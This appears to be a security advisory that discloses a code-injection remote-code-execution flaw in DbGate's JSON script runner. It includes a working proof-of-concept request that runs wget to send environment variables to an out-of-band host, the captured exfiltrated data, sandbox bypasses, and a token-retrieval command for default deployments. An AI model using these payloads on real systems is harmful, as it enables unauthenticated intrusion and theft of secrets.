+ "details": "### Summary\nDbGate's JSON script runner (`POST /runners/start`) allows remote code execution via code injection in the `functionName` parameter of JSON script `assign` commands. The `functionName` value is interpolated directly into dynamically generated JavaScript source code via string concatenation. The generated code is then executed in a forked Node.js child process.\n\n### Details\n#### Step 1: User Input Entry Point\n\n**File:** `packages/api/src/controllers/runners.js` - `start()` method\n\nThe `/runners/start` endpoint accepts a POST body containing a `script` object. When `script.type == 'json'`, the request follows a different code path than raw shell scripts:\n\n```javascript\nasync start({ script }, req) {\n if (script.type == 'json') {\n if (!platformInfo.isElectron) {\n if (!checkSecureDirectoriesInScript(script)) {\n return { errorMessage: 'Unallowed directories in script' };\n }\n }\n logJsonRunnerScript(req, script);\n const js = await jsonScriptToJavascript(script);\n return this.startCore(runid, scriptTemplate(js, false));\n }\n```\nThis path skips:\n1. The `run-shell-script` permission check\n2. The `allowShellScripting` platform-level check\n\nThe only validation performed is `checkSecureDirectoriesInScript()`, which `props.fileName` values\n\n---\n\n#### Step 2: JSON-to-JavaScript Conversion (Injection Point)\n\n**File:** `packages/tools/src/ScriptWriter.ts` - `assignCore()` method\n\nThe JSON script's `commands` array contains objects with `type: \"assign\"`. The `assignCore` method generates JavaScript by direct string concatenation of user-controlled values:\n\n```typescript\nassignCore(variableName, functionName, props) {\n this._put(`const ${variableName} = await ${functionName}(${JSON.stringify(props)});`);\n}\n```\n\nBoth `variableName` and `functionName` are attacker-controlled values taken directly from the JSON request body and interpolated into the generated JavaScript source code.\n\n---\n\n#### Step 3: Function Name Compilation\n\n**File:** `packages/tools/src/packageTools.ts` - `compileShellApiFunctionName()`\n\nBefore interpolation, `functionName` passes through this function:\n\n```typescript\nexport function compileShellApiFunctionName(functionName) {\n const nsMatch = functionName.match(/^([^@]+)@([^@]+)/);\n if (nsMatch) {\n return `${_camelCase(nsMatch[2])}.shellApi.${nsMatch[1]}`;\n }\n return `dbgateApi.${functionName}`;\n}\n```\n\nAn attacker supplying `functionName: \"x;MALICIOUS_CODE;//\"` gets:\n```\ndbgateApi.x;MALICIOUS_CODE;//\n```\n\nThis is syntactically valid JavaScript: `dbgateApi.x` evaluates (and is discarded), `MALICIOUS_CODE` executes, and `//` comments out the trailing `(${JSON.stringify(props)});`.\n\n---\n\n#### Step 4: Generated JavaScript Template\n\nThe complete generated script that gets executed:\n\n```javascript\nconst dbgateApi = require(process.env.DBGATE_API);\nrequire = null;\nasync function run() {\n const x = await dbgateApi.x;process.mainModule.require('child_process').execSync('wget <attacker host>');//({});\n await dbgateApi.finalizer.run();\n}\ndbgateApi.runScript(run);\n```\n\n#### Step 5: Execution via child_process.fork()\n\n**File:** `packages/api/src/controllers/runners.js` - `startCore()` method\n\nThe generated JavaScript string is written to a temporary file and executed as a new Node.js process via `child_process.fork()`. This provides the attacker with a full Node.js runtime, including access to `process`, `child_process`, `fs`, `net`, and all other Node.js built-in modules.\n\nThe `require = null` sandbox can be bypassed via:\n- `process.mainModule.require()` - separate reference unaffected by the null assignment\n- `module.constructor._load()` - internal module loader, also unaffected\n---\n\n#### Additional Injection Points\n\nThe same unsanitised string interpolation pattern exists in:\n\n| Endpoint | Parameter | File |\n|----------|-----------|------|\n| `POST /runners/start` | `functionName` in assign commands | `ScriptWriter.ts` - `assignCore()` |\n| `POST /runners/start` | `variableName` in assign commands | `ScriptWriter.ts` - `assignCore()` |\n| `POST /runners/load-reader` | `functionName` parameter | `ScriptWriter.ts` - `loaderScriptTemplate` |\n\n### PoC\n```http\nPOST /runners/start HTTP/1.1\nHost: <dbgate-instance>:3000\nAuthorization: Bearer <token>\nContent-Type: application/json\n\n{\n \"script\": {\n \"type\": \"json\",\n \"commands\": [\n {\n \"type\": \"assign\",\n \"variableName\": \"x\",\n \"functionName\": \"x;process.mainModule.require('child_process').execSync('wget --post-data \\\"$(env 2>1&)\\\" <out of band host>');//\",\n \"props\": {}\n }\n ],\n \"packageNames\": []\n }\n}\n```\n\nThe request to the out of band host was as follows:\n\n```http\nPOST / HTTP/1.1\nHost: <out of band host>\nUser-Agent: Wget/1.21.3\nAccept: */*\nAccept-Encoding: identity\nConnection: Keep-Alive\nContent-Type: application/x-www-form-urlencoded\nContent-Length: 251\n\nNODE_VERSION=22.22.2\nHOSTNAME=4714c7a7405f\nYARN_VERSION=1.22.22\nHOME=/root\nTERM=xterm\nPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin\nDBGATE_API=/home/dbgate-docker/bundle.js\nPWD=/root/.dbgate/run/16c2e85a-8512-4a7e-8678-391637bbdc2c\n```\n\n---\n\nA bearer token is required to reach the endpoint, but in what appears to be the default deployment, authentication is disabled. Authentication needs to be explicitly set via environment variables. If this has not been explicitly set, per the defaults, a token can be retrieved using:\n\n```bash\ncurl -sk -H \"Content-Type: application/json\" -d '{\"amoid\":\"none\"}' <dbgate-instance>:3000/auth/login\n```\n\n### Impact\n\n| Scenario | Impact | CVSS Score | CVSS Vector | \n|----------|--------|--------|--------|\n| Anonymous auth mode (default deployment) (`authProvider: \"Anonymous\"`) | Unauthenticated RCE | 10.0 | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H |\n| Authenticated deployment | Authenticated RCE - any user with API access | 9.9 | CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H |\n\n### Timeline\n\n| Date | Event |\n|------|-------|\n| 2026-03-31 | Vulnerability discovered |\n| 2026-04-07 | Advisory report prepared and submitted to maintainer |\n| 2026-04-22 | Fix released (v7.1.9) |\n| 2026-04-24 | Maintainer acknowledgment |\n| 2026-05-20 | Public disclosure |\n\n### Acknowledgements\n\n- Discovery assisted by Neo from @ProjectDiscovery\n- Initial research direction inspired by @H0j3n — https://github.com/runZeroInc/nuclei-templates/blob/main/http/vulnerabilities/dbgate-unauth-rce.yaml",
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